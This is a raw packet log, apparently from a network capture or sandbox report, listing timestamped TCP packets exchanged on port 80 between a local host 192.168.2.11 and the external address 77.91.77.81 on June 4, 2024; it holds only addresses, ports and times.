Jun 4, 2024 23:09:16.237636089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237654924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237658978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237663031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237693071 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237696886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237708092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237726927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237728119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237739086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237749100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237755060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237777948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237833023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237848997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237859964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237870932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237881899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237890005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237898111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237900972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237911940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237915039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237922907 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237935066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237941980 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237947941 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237948895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237961054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.237994909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.237994909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238010883 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238020897 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238030910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238049030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238054037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238059998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238070965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238081932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238084078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238095045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238099098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238106966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238111973 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238116980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238131046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238137960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238162041 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238218069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238234043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238245964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238250971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238256931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238276958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238277912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238293886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238305092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238311052 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238321066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238323927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238332987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238343000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238348007 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238354921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238364935 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238364935 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238378048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238389969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238399029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238399029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238409996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238426924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238432884 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238444090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238444090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238456011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238466978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238470078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238480091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238483906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238492012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238503933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238507986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238514900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238523006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238528013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238540888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238544941 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238570929 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238640070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238792896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238804102 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238815069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238826036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238826990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238843918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238845110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238856077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238859892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238867044 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238878012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238887072 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238889933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238902092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238914013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238915920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238924980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238926888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238938093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238948107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238951921 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238960028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238977909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238977909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.238990068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.238995075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239001989 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239013910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239020109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239041090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239305019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239341021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239505053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239521980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239532948 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239545107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239556074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239557028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239568949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239581108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239583969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239592075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239598036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239603996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239614964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239626884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239629984 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239644051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239651918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239662886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239665031 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239675999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239686012 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239686966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239697933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239706039 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239710093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239722013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239734888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239737988 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239744902 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239752054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239758015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239768982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239780903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239784002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239792109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239800930 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239809036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239820957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239825964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239831924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239844084 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239854097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239857912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239865065 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239873886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239883900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239883900 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239896059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239898920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239907026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239917994 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239926100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239929914 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239942074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239952087 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239953041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239964962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239972115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239979982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.239986897 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.239991903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240004063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240014076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240015984 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240039110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240053892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240108013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240125895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240138054 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240148067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240158081 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240163088 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240166903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240180969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240180969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240194082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240206957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240207911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240219116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240230083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240235090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240241051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240252972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240257025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240263939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240276098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240279913 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240288019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240299940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240303040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240325928 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240343094 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240360975 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240418911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240526915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240537882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240564108 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240566015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240670919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240739107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240756035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240768909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240780115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240787029 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240791082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240802050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240808964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240816116 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240819931 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240828037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240832090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240844011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240845919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240854979 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240859985 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240866899 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240871906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240878105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240886927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240915060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240926027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240936995 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.240952969 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.240976095 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241070032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241086960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241099119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241103888 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241110086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241116047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241122007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241132021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241139889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241143942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241156101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241157055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241157055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241172075 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241173029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241184950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241192102 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241197109 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241214991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241218090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241228104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241247892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241247892 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241260052 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241265059 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241271019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241287947 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241309881 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241468906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241558075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241569042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241581917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241590977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241592884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241605997 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241611958 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241627932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241647005 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241705894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241722107 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241733074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241736889 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241745949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241754055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241759062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241763115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241770983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241776943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241776943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241781950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241787910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241807938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241816044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241826057 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241837978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241843939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241848946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241861105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241863966 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241873026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241875887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241884947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241894960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241897106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241909027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241926908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241928101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241939068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.241942883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241962910 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.241987944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242082119 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242094040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242110968 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242127895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242134094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242144108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242155075 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242166996 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242171049 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242201090 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242285013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242320061 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242383957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242387056 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.242424965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.242428064 CEST	49713	80	192.168.2.11	77.91.77.81
